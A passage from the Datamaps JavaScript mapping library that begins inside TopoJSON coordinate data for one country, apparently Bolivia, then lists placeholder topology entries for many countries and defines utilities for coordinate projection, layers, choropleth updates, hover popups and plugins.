,[11,-6],[9,-3],[7,-1],[7,2],[7,4],[8,3],[4,-5],[3,-8],[43,-50],[2,-5],[4,-4],[9,-1],[8,0],[7,-2],[3,-4],[2,-6],[4,-13],[10,-10],[15,-9],[16,-8],[1,15],[9,5],[13,-1],[16,2],[11,6],[8,7],[10,1],[16,-9],[8,-6],[5,-6],[3,-7],[2,-18],[3,-3],[71,-28],[51,1],[17,-2],[11,-8],[23,-24],[2,-3],[1,-8],[2,-1],[12,0],[3,0],[14,-8],[6,-3],[38,-4],[11,2],[9,7],[17,-6],[14,3],[12,5],[30,8],[9,0],[8,-2],[22,-13],[2,17],[8,-2],[18,-20],[9,-3],[7,2],[5,-1],[2,-11],[0,-51],[2,-13],[9,-10],[17,-12],[36,-36],[12,-5],[1,-4],[12,-17],[5,-3],[18,-8],[14,-8],[40,-35],[8,-6],[16,-7],[7,-6],[3,-6],[17,-50],[9,-8],[18,-2],[17,3],[16,5],[16,2],[16,-6],[16,9],[19,6],[20,5],[58,4],[3,0]],[[2194,4044],[-19,16],[-3,3],[-20,20],[-14,18],[-10,21],[-6,8],[-5,7],[-7,6],[-12,9],[-5,2],[-6,2],[-10,2],[-8,0],[-7,0],[-107,-27],[-18,-6],[-96,-51],[-100,-63],[-20,-14],[-136,-75],[-15,-10],[-3,-4],[-1,-6],[1,-10],[2,-7],[3,-5],[7,-11],[5,-10],[1,-4],[0,-5],[0,-5],[-3,-7],[-2,-6],[-4,-8],[-6,-5],[-18,-10],[-11,-2],[-10,1],[-4,1],[-5,1],[-161,108],[-18,7],[-27,9],[-65,29],[-25,7],[-128,4],[-98,-6],[-27,-7],[-52,-20],[-8,-5],[-46,-34],[-72,-82],[-29,-23],[-70,-47],[-41,-20],[-108,-26],[-60,-26],[-8,-3]],[[479,3675],[-8,12],[-10,0],[-13,-5],[-17,-1],[-14,4],[-13,5],[-25,14],[-19,4],[-6,2],[-6,5],[-17,17],[-12,-3],[-10,-7],[-11,1],[-12,18],[-8,28],[0,56],[-6,27],[-20,35],[-29,29],[-67,52],[-17,23],[-8,28],[-3,59],[0,1],[2,54],[-3,27],[-9,22],[-12,14],[-16,15],[-33,23],[-13,4],[-42,5],[-2,0],[14,19],[13,42],[9,17],[3,1],[15,2],[5,1],[44,36],[25,15],[23,8],[23,4],[22,8],[17,18],[4,12],[-4,4],[-5,3],[-3,4],[2,7],[6,5],[35,19],[9,10],[22,42],[83,79],[12,16],[15,41],[8,10],[13,8],[29,2],[15,4],[48,22],[14,9],[13,15],[10,12],[-22,27],[-4,13],[2,24],[-1,44],[2,15],[7,13],[22,24],[27,12],[92,33],[19,26],[-9,20],[-19,12],[-42,15],[-34,33],[-18,10],[-23,-7],[-27,7],[-9,1],[-9,-3],[-16,-11],[-9,-3],[-21,0],[-19,6],[-18,10],[-15,11],[-29,32],[-18,42],[-35,78],[-35,77],[-35,78],[-35,78],[-10,23],[-4,23],[7,22],[53,72],[4,15],[3,15],[4,15],[10,13],[9,4],[22,7],[6,4],[0,6],[-9,23],[5,12],[13,15],[16,13],[27,9],[11,29],[16,1],[19,-1],[13,9],[2,14],[-20,17],[-20,26],[-13,11],[-49,33],[-13,12],[-47,65],[-14,11],[-18,15],[-5,13],[4,14],[13,29],[2,6],[-4,61],[2,13],[7,11],[18,10],[46,11],[13,7],[11,22],[5,97],[11,14],[16,2],[19,-4],[18,0],[4,8],[-2,35],[3,13],[5,4],[14,3],[5,3],[33,33],[16,11],[53,26],[16,14],[-3,15],[-12,15],[-6,14],[-1,29],[1,15],[5,13],[21,13],[27,6],[56,7],[15,15],[-3,27],[-21,50],[-5,26],[-5,12],[-8,11],[-44,26],[-11,14],[-5,24],[0,28],[-3,25],[-14,20],[-11,29],[-1,10],[3,12],[4,9],[0,9],[-9,11],[-44,32],[-17,22],[11,17],[11,1],[25,-4],[9,2],[8,8],[0,9],[-2,9],[2,11],[7,8],[17,17],[7,10],[7,18],[5,19],[-3,17],[10,148],[-12,59],[-2,31],[6,89],[-1,11],[-10,75],[-1,32],[5,17],[26,18],[8,19],[10,14],[18,-2],[11,21],[12,16],[17,10],[68,17],[6,6],[19,34],[-8,8],[-27,7],[-7,7],[1,13],[7,11],[12,8],[24,12],[12,10],[9,11],[7,11],[5,15],[5,7],[8,4],[-4,7]],[[801,7871],[9,-2],[27,-1],[8,1],[5,3],[10,10],[3,2],[16,41],[10,11],[19,3],[14,-6],[12,-8],[14,-5],[17,2],[10,7],[15,22],[38,86],[18,23],[97,47],[21,21],[6,25],[6,55],[13,21],[26,11],[61,7],[22,10],[17,-1],[21,4],[19,6],[14,9],[12,17],[7,20],[-1,4],[15,-4],[842,-357]],[[2493,3711],[-7,-14],[-8,-7],[-9,-6],[-10,-4],[-56,-16],[-6,-12],[-5,-70],[1,-17],[3,-10],[5,-8],[7,-6],[8,-5],[28,-11],[10,-2],[10,1],[22,3],[21,0],[9,-1],[17,-6],[8,-1],[17,0],[19,-5],[-19,-19],[-23,-13],[-37,-16],[-21,-12],[-17,-8],[-9,-7],[-3,-5],[-1,-5],[2,-25],[0,-12],[-2,-9],[-8,-34],[-1,-9],[1,-9],[1,-3],[0,-1],[11,-14],[28,-55],[7,-9],[5,-5],[9,-7],[69,-47],[24,-14],[72,-23],[52,-4],[42,-15],[13,-8],[9,-9],[5,-8],[36,-101],[2,-4],[32,-53],[40,-48],[61,-61],[15,-25],[-1,-7],[-4,-7],[-8,-5],[-10,-4],[-24,-4],[-100,-7],[-173,-11],[-19,-6],[-34,-17],[-99,-79],[-59,-40],[-33,-16],[-170,-67],[-250,-95],[-255,-96],[-111,-33],[-43,1],[-76,13],[-374,109],[-232,74],[-4,1]],[[893,2521],[37,48],[18,22],[11,11],[33,12],[7,5],[-6,15],[-15,15],[-16,14],[-88,56],[-29,9],[-23,13],[-29,44],[-18,18],[-78,60],[-26,16],[-39,11],[-11,7],[-9,11],[-19,39],[-15,24],[-10,10],[-13,8],[24,29],[7,14],[0,17],[-3,7],[-45,85],[0,1],[-1,0],[1,1],[6,10],[1,10],[-2,10],[-5,10],[-20,30],[-7,38],[1,39],[6,36],[0,17],[-6,16],[-30,44],[-3,12],[2,42],[-1,6],[-12,32],[-1,7],[0,8],[-3,18],[-8,12],[-26,23],[-11,36],[24,22],[30,21],[6,33]],[[801,7871],[-21,32],[-85,137],[-86,137],[-85,137],[-86,137],[-85,137],[-86,137],[-85,137],[-86,137],[-3,5],[-3,4],[-2,5],[-3,5],[-3,4],[-3,5],[-3,5],[-3,4],[61,-2],[32,3],[56,12],[27,-3],[27,-7],[30,-5],[46,2],[64,-7],[31,-6],[28,2],[13,-2],[61,-24],[3,-1],[8,0],[3,1],[20,1],[39,-10],[19,-2],[21,4],[22,8],[22,4],[25,-6],[14,-7],[-14,-17],[-9,-19],[-5,-19],[4,-31],[2,-7],[7,-4],[14,0],[117,21],[23,11],[42,28],[35,10],[14,2],[14,0],[14,-2],[12,3],[26,22],[15,7],[38,4],[15,5],[16,11],[16,15],[14,16],[11,16],[21,45],[12,14],[46,45],[29,50],[12,12],[19,12],[25,11],[14,4],[13,2],[24,-4],[97,4],[13,-1],[11,-3],[16,-9],[32,-23],[16,-5],[28,6],[13,22],[8,27],[9,23],[9,8],[25,19],[10,11],[16,24],[10,10],[12,10],[16,5],[29,13],[34,10],[17,10],[14,12],[11,14],[4,9],[0,6],[2,5],[9,7],[8,2],[36,1],[10,1],[8,3],[7,5],[1,7],[-5,16],[1,7],[12,6],[19,2],[34,1],[15,-2],[32,-7],[14,0],[10,5],[6,8],[5,9],[6,6],[8,3],[17,1],[9,1],[38,19],[132,124],[108,76],[16,8],[67,23],[8,5],[4,6],[2,9],[3,7],[5,6],[9,3],[97,16],[50,-4],[16,2],[16,5],[34,18],[14,5],[80,11],[15,5],[25,15],[15,5],[45,5],[3,-2],[3,-3],[4,-3],[4,0],[4,2],[6,9],[3,3],[13,2],[4,-1],[10,-3],[22,-12],[11,-2],[15,3],[37,21],[15,4],[15,1],[11,-2],[34,-7],[10,0],[9,5],[14,13],[2,-6],[3,-6],[5,-6],[4,-3],[8,1],[3,7],[0,8],[1,5],[6,15],[5,4],[5,-10],[2,-8],[2,-5],[4,-4],[8,-3],[31,12],[13,0],[-4,-17],[-2,-9],[3,-3],[7,1],[6,-1],[2,1],[9,3],[4,0],[5,-2],[7,-8],[5,-3],[24,-15],[12,-6],[15,-3],[10,1],[4,3],[1,5],[5,6],[1,2],[0,8],[2,3],[4,2],[10,1],[3,2],[10,9],[8,11],[3,7],[4,12],[5,7],[37,28],[11,12],[8,1],[21,0],[15,-5],[23,-18],[12,-24],[1,-2],[12,-34],[8,-8],[11,-9],[10,-10],[4,-12],[-3,-18],[-18,-30],[-7,-17],[-3,-30],[4,-32],[7,-28],[15,-40],[3,-16],[2,-33],[2,-7],[8,-18],[2,-8],[-3,-7],[-14,-19],[-8,-38],[-10,-17],[-31,-14],[-11,-14],[-9,-17],[-4,-14]],[[3632,1030],[0,-24],[-1,-7],[-2,-10],[-14,-32],[-11,-17],[-11,-11],[-3,-2],[-3,-5],[-2,-7],[-2,-22],[-3,-7],[-5,-5],[-7,-7],[-6,-11],[-7,-35],[8,-4],[3,-2],[5,-3],[3,-4],[4,-5],[5,-6],[9,-7],[6,-5],[13,-18],[21,-35],[10,-12],[6,-5],[3,-3],[9,-23],[21,-89],[2,-2],[-15,-1]],[[3668,604],[-218,-2],[-44,4],[-57,7],[-7,0],[-4,-3],[-4,-4],[-6,-2],[-114,-11],[-25,6],[-24,15],[-105,107],[-18,8],[-75,12],[-5,4],[-9,37],[-26,23],[-35,16],[-69,19],[-15,-4],[-39,-125],[-8,-70],[-3,-11],[-5,-10],[-2,0],[-4,1],[-10,-1],[-7,-3],[-6,-7],[-5,-7],[-4,-7],[-20,-13],[-108,-27],[-96,-23],[-3,-4],[-2,-5],[-3,-5],[-4,-1],[-13,4],[-16,2],[-9,2],[-9,1],[-11,-4],[-19,-14],[-11,-15],[-6,-18],[-10,-56],[-5,-17],[-11,-12],[-2,-6],[5,-22],[-1,-8],[-9,-5],[-92,-25],[-22,-10],[-16,-15],[-8,-10],[-11,-6],[-12,-3],[-19,1],[-14,0],[7,-70],[-2,-17],[-9,-11],[-62,-42],[-24,-25],[-42,-60],[-259,-48],[-30,-5],[-57,-4],[-127,6],[-26,8],[-7,5],[-17,24],[-4,0],[-32,5],[-9,11],[-3,20],[0,58],[27,113],[-1,15],[-25,42],[-7,38],[-7,16],[-31,50],[-6,15],[0,15],[14,47],[-1,15],[-7,18],[-23,29],[-3,8],[3,7],[10,13],[3,7],[-3,16],[-10,18],[-14,16],[-17,10],[-39,33],[-20,16],[-8,9],[-3,11],[-9,124],[-17,58],[-51,81],[-7,26],[4,184],[-11,33],[-171,246],[-13,11],[-18,4],[-35,-2],[-11,2],[-18,9],[-19,10],[-14,32],[-1,98],[7,17],[12,16],[56,42],[1,14],[-24,17],[-22,8],[-38,22],[-84,35],[-18,12],[-18,16],[-17,21],[-13,23],[-2,23],[9,20],[18,13],[47,14],[-33,51],[-9,25],[1,29],[4,22],[-2,8],[-27,5],[-25,14],[-3,14],[14,13],[101,27],[25,2],[12,-2],[8,-2],[8,1],[7,7],[4,8],[7,26],[1,15],[16,35],[3,11],[-1,5],[-3,4],[-4,11],[-1,22],[-1,5],[-6,11],[-8,5],[-25,9],[-14,9],[-26,24],[-40,27],[-5,9],[1,14],[11,15],[34,27],[15,14],[44,58]],[[6616,7104],[5,-1],[22,-19],[8,-4],[39,-7],[37,3],[35,12],[56,26],[12,-1],[13,-5],[29,-4],[17,-10],[10,-3],[9,0],[18,5],[54,-2],[8,4],[5,16],[12,7],[35,4],[3,3],[10,6],[11,2],[5,-8],[0,-30],[15,-16],[37,-5],[39,-3],[27,-5],[15,-13],[6,-4],[57,-22],[62,-44],[60,-42],[28,-14],[19,-4],[6,-2],[3,-3],[4,-9],[4,-4],[7,-3],[62,-14],[15,-7],[6,-14],[1,-21],[5,-21],[7,-19],[9,-16],[6,-7],[18,-13],[2,-5],[-4,-7],[5,-5],[8,-3],[5,-3],[2,-7],[-1,-4],[-7,-15],[-10,-35],[-9,-16],[-14,-12],[-20,-5],[-6,-4],[-4,-10],[-3,-17],[-1,-17],[2,-10],[11,-17],[0,-20],[-3,-20],[1,-21],[9,-14],[44,-33],[7,-12],[12,-48],[27,-54],[5,-31],[-26,-8],[14,-24],[40,-25],[10,-17],[2,-46],[4,-62],[3,-62],[3,-62],[3,-62],[3,-49],[-4,-9],[-94,-1],[-158,-2],[43,-33],[57,-61],[88,-95],[76,-81],[11,-17],[7,-18],[11,-112],[14,-153],[11,-112],[6,-81],[6,-86],[15,-33],[26,-6],[57,-2],[156,-5],[156,-5],[156,-5],[156,-5],[156,-5],[156,-5],[156,-5],[156,-5],[59,-2],[19,2],[17,8],[6,7],[11,19],[6,3],[35,0],[9,-7],[4,-74],[-4,-10],[-19,-14],[-1,-14],[17,-27],[-11,-28],[-82,-83],[-13,-23],[-7,-25],[3,-33],[17,-57],[3,-30],[-2,-5],[-7,-13],[-2,-8],[0,-8],[8,-38],[14,-23],[6,-14],[4,-53],[5,-11],[8,-13],[4,-17],[1,-68],[5,-28],[15,-23],[30,-15],[26,-3],[8,-2],[9,-4],[14,-11],[8,-5],[7,-2],[13,-2],[7,-3],[10,-11],[13,-25],[13,-9],[11,-2],[9,-1],[9,-3],[11,-6],[22,-22],[9,-6],[29,-11],[10,-4],[36,-27],[23,-9],[31,-6],[31,-2],[24,6],[19,3],[14,-2],[18,-7],[11,-10],[9,-17],[2,-19],[-1,-18],[1,-12],[0,-29],[2,-14],[6,-14],[9,-10],[10,-9],[12,-7],[13,-5],[-7,-24],[3,-8],[15,-17],[12,-18],[-2,-14],[-26,-2],[77,-117],[42,-92],[28,-46],[33,-17],[16,0],[14,-2],[7,-7],[-1,-16],[-56,-1],[-15,-3],[-11,-9],[-13,-37],[-39,-108],[-38,-108],[-39,-108],[-38,-108],[-10,-26],[33,-2],[9,-7],[3,-15],[5,-45],[5,-32],[-46,-4],[-14,-8],[-19,-34],[-25,-47],[-56,-103],[-57,-103],[-25,-46],[0,-1],[-10,-18],[-22,-42],[-22,-41],[-10,-19],[-29,-53],[6,-21],[62,-50],[66,-52],[83,-66],[-8,-10],[-9,-12],[-12,-11],[-19,-8],[-20,5],[-13,1],[-6,-4],[-2,-6],[-6,-6],[-8,-4],[-10,-2],[-20,-7],[-26,-33],[-21,-7],[-6,-3],[-9,-13],[-5,-4],[-10,-5],[-35,-11],[-1,20],[12,40],[2,15],[-1,32],[2,17],[-3,24],[-14,43],[-1,24],[2,25],[-3,11],[-9,9],[-32,17],[-76,42],[-77,41],[-76,42],[-76,41],[-77,41],[-76,42],[-77,41],[-76,42],[-42,22],[-23,15],[-25,15],[-16,3],[-66,0],[-155,-2],[-154,-2],[-154,-2],[-155,-1],[-67,-1],[-124,-24],[-277,-52],[-277,-53],[-278,-52],[-277,-53],[-18,-2],[-38,-5],[-39,-6],[-18,-2],[-73,-10],[-13,-4],[-6,-9],[-16,-38],[-23,-55],[-23,-56],[-23,-55],[-23,-56],[-11,-19],[-10,-20],[-5,-9],[-6,-10],[-10,-20],[-14,-18],[-14,-18],[-13,-18],[-14,-18],[-37,-46],[-36,-46],[-37,-46],[-36,-46],[-18,-22]],[[6060,1435],[-3,-50],[-26,-78],[-27,-78],[-29,-85],[-30,-88],[-28,-80],[-38,-109],[-30,-86],[-36,-103],[-21,-67],[-23,-72],[-19,-38],[-7,3],[-2,5],[-2,7],[-3,7],[-10,8],[-35,22],[-39,16],[-11,11],[-6,13],[0,24],[-6,9],[2,7],[0,7],[-5,29],[-2,7],[-12,2],[-35,6],[-122,-6],[-258,1],[-258,2],[-31,-5],[-13,-6],[-38,-29],[-10,3],[-33,26],[-17,6],[-76,5],[-22,-4],[-12,-4],[-3,-2],[0,-5],[-8,-17],[-3,-15],[-3,-6],[-6,-5],[-7,-3],[-5,-1],[-5,-3],[-7,-12],[-12,-43],[-26,-56],[-6,-8],[-17,-8],[-6,-5],[-61,-137],[-19,-25],[-43,-34],[-12,-18],[-35,-114],[-1,-54],[-7,-15],[-19,-58],[1,-10],[-15,6],[-3,36],[-10,10],[6,18],[-3,21],[-11,17],[-17,7],[-9,6],[-22,40],[-8,6],[-8,2],[-5,4],[-2,12],[1,8],[4,15],[1,8],[3,8],[7,7],[6,7],[1,11],[-46,39],[-11,14],[-5,17],[-3,5],[-15,8],[-5,6],[1,7],[6,15],[-1,8],[-11,9],[-17,10],[-11,13],[8,18],[11,11],[5,10],[0,12],[-7,16],[-7,9],[-22,23],[-8,5],[-16,3],[-19,8],[-15,10],[-18,2],[-6,2],[-7,-1],[-15,-6],[-8,-1],[-32,7],[-57,28],[-154,31],[-140,-2]]],\"transform\":{\"scale\":[0.0012202051708170777,0.0013218757991799153],\"translate\":[-69.6664922699999,-22.897257587999945]}};\n Datamap.prototype.braTopo = '__BRA__';\n Datamap.prototype.brbTopo = '__BRB__';\n Datamap.prototype.brnTopo = '__BRN__';\n Datamap.prototype.btnTopo = '__BTN__';\n Datamap.prototype.norTopo = '__NOR__';\n Datamap.prototype.bwaTopo = '__BWA__';\n Datamap.prototype.cafTopo = '__CAF__';\n Datamap.prototype.canTopo = '__CAN__';\n Datamap.prototype.cheTopo = '__CHE__';\n Datamap.prototype.chlTopo = '__CHL__';\n Datamap.prototype.chnTopo = '__CHN__';\n Datamap.prototype.civTopo = '__CIV__';\n Datamap.prototype.clpTopo = '__CLP__';\n Datamap.prototype.cmrTopo = '__CMR__';\n Datamap.prototype.codTopo = '__COD__';\n Datamap.prototype.cogTopo = '__COG__';\n Datamap.prototype.cokTopo = '__COK__';\n Datamap.prototype.colTopo = '__COL__';\n Datamap.prototype.comTopo = '__COM__';\n Datamap.prototype.cpvTopo = '__CPV__';\n Datamap.prototype.criTopo = '__CRI__';\n Datamap.prototype.csiTopo = '__CSI__';\n Datamap.prototype.cubTopo = '__CUB__';\n Datamap.prototype.cuwTopo = '__CUW__';\n Datamap.prototype.cymTopo = '__CYM__';\n Datamap.prototype.cynTopo = '__CYN__';\n Datamap.prototype.cypTopo = '__CYP__';\n Datamap.prototype.czeTopo = '__CZE__';\n Datamap.prototype.deuTopo = '__DEU__';\n Datamap.prototype.djiTopo = '__DJI__';\n Datamap.prototype.dmaTopo = '__DMA__';\n Datamap.prototype.dnkTopo = '__DNK__';\n Datamap.prototype.domTopo = '__DOM__';\n Datamap.prototype.dzaTopo = '__DZA__';\n Datamap.prototype.ecuTopo = '__ECU__';\n Datamap.prototype.egyTopo = '__EGY__';\n Datamap.prototype.eriTopo = '__ERI__';\n Datamap.prototype.esbTopo = '__ESB__';\n Datamap.prototype.espTopo = '__ESP__';\n Datamap.prototype.estTopo = '__EST__';\n Datamap.prototype.ethTopo = '__ETH__';\n Datamap.prototype.finTopo = '__FIN__';\n Datamap.prototype.fjiTopo = '__FJI__';\n Datamap.prototype.flkTopo = '__FLK__';\n Datamap.prototype.fraTopo = '__FRA__';\n Datamap.prototype.froTopo = '__FRO__';\n Datamap.prototype.fsmTopo = '__FSM__';\n Datamap.prototype.gabTopo = '__GAB__';\n Datamap.prototype.psxTopo = '__PSX__';\n Datamap.prototype.gbrTopo = '__GBR__';\n Datamap.prototype.geoTopo = '__GEO__';\n Datamap.prototype.ggyTopo = '__GGY__';\n Datamap.prototype.ghaTopo = '__GHA__';\n Datamap.prototype.gibTopo = '__GIB__';\n Datamap.prototype.ginTopo = '__GIN__';\n Datamap.prototype.gmbTopo = '__GMB__';\n Datamap.prototype.gnbTopo = '__GNB__';\n Datamap.prototype.gnqTopo = '__GNQ__';\n Datamap.prototype.grcTopo = '__GRC__';\n Datamap.prototype.grdTopo = '__GRD__';\n Datamap.prototype.grlTopo = '__GRL__';\n Datamap.prototype.gtmTopo = '__GTM__';\n Datamap.prototype.gumTopo = '__GUM__';\n Datamap.prototype.guyTopo = '__GUY__';\n Datamap.prototype.hkgTopo = '__HKG__';\n Datamap.prototype.hmdTopo = '__HMD__';\n Datamap.prototype.hndTopo = '__HND__';\n Datamap.prototype.hrvTopo = '__HRV__';\n Datamap.prototype.htiTopo = '__HTI__';\n Datamap.prototype.hunTopo = '__HUN__';\n Datamap.prototype.idnTopo = '__IDN__';\n Datamap.prototype.imnTopo = '__IMN__';\n Datamap.prototype.indTopo = '__IND__';\n Datamap.prototype.ioaTopo = '__IOA__';\n Datamap.prototype.iotTopo = '__IOT__';\n Datamap.prototype.irlTopo = '__IRL__';\n Datamap.prototype.irnTopo = '__IRN__';\n Datamap.prototype.irqTopo = '__IRQ__';\n Datamap.prototype.islTopo = '__ISL__';\n Datamap.prototype.isrTopo = '__ISR__';\n Datamap.prototype.itaTopo = '__ITA__';\n Datamap.prototype.jamTopo = '__JAM__';\n Datamap.prototype.jeyTopo = '__JEY__';\n Datamap.prototype.jorTopo = '__JOR__';\n Datamap.prototype.jpnTopo = '__JPN__';\n Datamap.prototype.kabTopo = '__KAB__';\n Datamap.prototype.kasTopo = '__KAS__';\n Datamap.prototype.kazTopo = '__KAZ__';\n Datamap.prototype.kenTopo = '__KEN__';\n Datamap.prototype.kgzTopo = '__KGZ__';\n Datamap.prototype.khmTopo = '__KHM__';\n Datamap.prototype.kirTopo = '__KIR__';\n Datamap.prototype.knaTopo = '__KNA__';\n Datamap.prototype.korTopo = '__KOR__';\n Datamap.prototype.kosTopo = '__KOS__';\n Datamap.prototype.kwtTopo = '__KWT__';\n Datamap.prototype.laoTopo = '__LAO__';\n Datamap.prototype.lbnTopo = '__LBN__';\n Datamap.prototype.lbrTopo = '__LBR__';\n Datamap.prototype.lbyTopo = '__LBY__';\n Datamap.prototype.lcaTopo = '__LCA__';\n Datamap.prototype.lieTopo = '__LIE__';\n Datamap.prototype.lkaTopo = '__LKA__';\n Datamap.prototype.lsoTopo = '__LSO__';\n Datamap.prototype.ltuTopo = '__LTU__';\n Datamap.prototype.luxTopo = '__LUX__';\n Datamap.prototype.lvaTopo = '__LVA__';\n Datamap.prototype.macTopo = '__MAC__';\n Datamap.prototype.mafTopo = '__MAF__';\n Datamap.prototype.marTopo = '__MAR__';\n Datamap.prototype.mcoTopo = '__MCO__';\n Datamap.prototype.mdaTopo = '__MDA__';\n Datamap.prototype.mdgTopo = '__MDG__';\n Datamap.prototype.mdvTopo = '__MDV__';\n Datamap.prototype.mexTopo = '__MEX__';\n Datamap.prototype.mhlTopo = '__MHL__';\n Datamap.prototype.mkdTopo = '__MKD__';\n Datamap.prototype.mliTopo = '__MLI__';\n Datamap.prototype.mltTopo = '__MLT__';\n Datamap.prototype.mmrTopo = '__MMR__';\n Datamap.prototype.mneTopo = '__MNE__';\n Datamap.prototype.mngTopo = '__MNG__';\n Datamap.prototype.mnpTopo = '__MNP__';\n Datamap.prototype.mozTopo = '__MOZ__';\n Datamap.prototype.mrtTopo = '__MRT__';\n Datamap.prototype.msrTopo = '__MSR__';\n Datamap.prototype.musTopo = '__MUS__';\n Datamap.prototype.mwiTopo = '__MWI__';\n Datamap.prototype.mysTopo = '__MYS__';\n Datamap.prototype.namTopo = '__NAM__';\n Datamap.prototype.nclTopo = '__NCL__';\n Datamap.prototype.nerTopo = '__NER__';\n Datamap.prototype.nfkTopo = '__NFK__';\n Datamap.prototype.ngaTopo = '__NGA__';\n Datamap.prototype.nicTopo = '__NIC__';\n Datamap.prototype.niuTopo = '__NIU__';\n Datamap.prototype.nldTopo = '__NLD__';\n Datamap.prototype.nplTopo = '__NPL__';\n Datamap.prototype.nruTopo = '__NRU__';\n Datamap.prototype.nulTopo = '__NUL__';\n Datamap.prototype.nzlTopo = '__NZL__';\n Datamap.prototype.omnTopo = '__OMN__';\n Datamap.prototype.pakTopo = '__PAK__';\n Datamap.prototype.panTopo = '__PAN__';\n Datamap.prototype.pcnTopo = '__PCN__';\n Datamap.prototype.perTopo = '__PER__';\n Datamap.prototype.pgaTopo = '__PGA__';\n Datamap.prototype.phlTopo = '__PHL__';\n Datamap.prototype.plwTopo = '__PLW__';\n Datamap.prototype.pngTopo = '__PNG__';\n Datamap.prototype.polTopo = '__POL__';\n Datamap.prototype.priTopo = '__PRI__';\n Datamap.prototype.prkTopo = '__PRK__';\n Datamap.prototype.prtTopo = '__PRT__';\n Datamap.prototype.pryTopo = '__PRY__';\n Datamap.prototype.pyfTopo = '__PYF__';\n Datamap.prototype.qatTopo = '__QAT__';\n Datamap.prototype.rouTopo = '__ROU__';\n Datamap.prototype.rusTopo = '__RUS__';\n Datamap.prototype.rwaTopo = '__RWA__';\n Datamap.prototype.sahTopo = '__SAH__';\n Datamap.prototype.sauTopo = '__SAU__';\n Datamap.prototype.scrTopo = '__SCR__';\n Datamap.prototype.sdnTopo = '__SDN__';\n Datamap.prototype.sdsTopo = '__SDS__';\n Datamap.prototype.senTopo = '__SEN__';\n Datamap.prototype.serTopo = '__SER__';\n Datamap.prototype.sgpTopo = '__SGP__';\n Datamap.prototype.sgsTopo = '__SGS__';\n Datamap.prototype.shnTopo = '__SHN__';\n Datamap.prototype.slbTopo = '__SLB__';\n Datamap.prototype.sleTopo = '__SLE__';\n Datamap.prototype.slvTopo = '__SLV__';\n Datamap.prototype.smrTopo = '__SMR__';\n Datamap.prototype.solTopo = '__SOL__';\n Datamap.prototype.somTopo = '__SOM__';\n Datamap.prototype.spmTopo = '__SPM__';\n Datamap.prototype.srbTopo = '__SRB__';\n Datamap.prototype.stpTopo = '__STP__';\n Datamap.prototype.surTopo = '__SUR__';\n Datamap.prototype.svkTopo = '__SVK__';\n Datamap.prototype.svnTopo = '__SVN__';\n Datamap.prototype.sweTopo = '__SWE__';\n Datamap.prototype.swzTopo = '__SWZ__';\n Datamap.prototype.sxmTopo = '__SXM__';\n Datamap.prototype.sycTopo = '__SYC__';\n Datamap.prototype.syrTopo = '__SYR__';\n Datamap.prototype.tcaTopo = '__TCA__';\n Datamap.prototype.tcdTopo = '__TCD__';\n Datamap.prototype.tgoTopo = '__TGO__';\n Datamap.prototype.thaTopo = '__THA__';\n Datamap.prototype.tjkTopo = '__TJK__';\n Datamap.prototype.tkmTopo = '__TKM__';\n Datamap.prototype.tlsTopo = '__TLS__';\n Datamap.prototype.tonTopo = '__TON__';\n Datamap.prototype.ttoTopo = '__TTO__';\n Datamap.prototype.tunTopo = '__TUN__';\n Datamap.prototype.turTopo = '__TUR__';\n Datamap.prototype.tuvTopo = '__TUV__';\n Datamap.prototype.twnTopo = '__TWN__';\n Datamap.prototype.tzaTopo = '__TZA__';\n Datamap.prototype.ugaTopo = '__UGA__';\n Datamap.prototype.ukrTopo = '__UKR__';\n Datamap.prototype.umiTopo = '__UMI__';\n Datamap.prototype.uryTopo = '__URY__';\n Datamap.prototype.usaTopo = '__USA__';\n Datamap.prototype.usgTopo = '__USG__';\n Datamap.prototype.uzbTopo = '__UZB__';\n Datamap.prototype.vatTopo = '__VAT__';\n Datamap.prototype.vctTopo = '__VCT__';\n Datamap.prototype.venTopo = '__VEN__';\n Datamap.prototype.vgbTopo = '__VGB__';\n Datamap.prototype.virTopo = '__VIR__';\n Datamap.prototype.vnmTopo = '__VNM__';\n Datamap.prototype.vutTopo = '__VUT__';\n Datamap.prototype.wlfTopo = '__WLF__';\n Datamap.prototype.wsbTopo = '__WSB__';\n Datamap.prototype.wsmTopo = '__WSM__';\n Datamap.prototype.yemTopo = '__YEM__';\n Datamap.prototype.zafTopo = '__ZAF__';\n Datamap.prototype.zmbTopo = '__ZMB__';\n Datamap.prototype.zweTopo = '__ZWE__';\n\n /**************************************\n Utilities\n ***************************************/\n\n //convert lat/lng coords to X / Y coords\n Datamap.prototype.latLngToXY = function(lat, lng) {\n return this.projection([lng, lat]);\n };\n\n //add layer to root SVG\n Datamap.prototype.addLayer = function( className, id, first ) {\n var layer;\n if ( first ) {\n layer = this.svg.insert('g', ':first-child')\n }\n else {\n layer = this.svg.append('g')\n }\n return layer.attr('id', id || '')\n .attr('class', className || '');\n };\n\n Datamap.prototype.updateChoropleth = function(data) {\n var svg = this.svg;\n for ( var subunit in data ) {\n if ( data.hasOwnProperty(subunit) ) {\n var color;\n var subunitData = data[subunit]\n if ( ! subunit ) {\n continue;\n }\n else if ( typeof subunitData === \"string\" ) {\n color = subunitData;\n }\n else if ( typeof subunitData.color === \"string\" ) {\n color = subunitData.color;\n }\n else {\n color = this.options.fills[ subunitData.fillKey ];\n }\n //if it's an object, overriding the previous data\n if ( subunitData === Object(subunitData) ) {\n this.options.data[subunit] = defaults(subunitData, this.options.data[subunit] || {});\n var geo = this.svg.select('.' + subunit).attr('data-info', JSON.stringify(this.options.data[subunit]));\n }\n svg\n .selectAll('.' + subunit)\n .transition()\n .style('fill', color);\n }\n }\n };\n\n Datamap.prototype.updatePopup = function (element, d, options) {\n var self = this;\n element.on('mousemove', null);\n element.on('mousemove', function() {\n var position = d3.mouse(self.options.element);\n d3.select(self.svg[0][0].parentNode).select('.datamaps-hoverover')\n .style('top', ( (position[1] + 30)) + \"px\")\n .html(function() {\n var data = JSON.parse(element.attr('data-info'));\n try {\n return options.popupTemplate(d, data);\n } catch (e) {\n return \"\";\n }\n })\n .style('left', ( position[0]) + \"px\");\n });\n\n d3.select(self.svg[0][0].parentNode).select('.datamaps-hoverover').style('display', 'block');\n };\n\n Datamap.prototype.addPlugin = function( name, pluginFn ) {\n var self = this;\n if ( typeof Datamap.prototype[name] === \"undefined\" ) {\n Datamap.prototype[name] = function(data, options, callback, createNewLayer) {\n var layer;\n if ( typeof createNewLayer === \"undefined\" ) {\n createNewLayer = false;\n }\n\n if ( typeof options === 'function' ) {\n callback = options;\n options = undefined;\n }\n\n options = defaults(options || {}, self.options[name + 'Config']);\n\n //add a single layer, reuse the old layer\n if ( !createNewLayer && this.options[name + 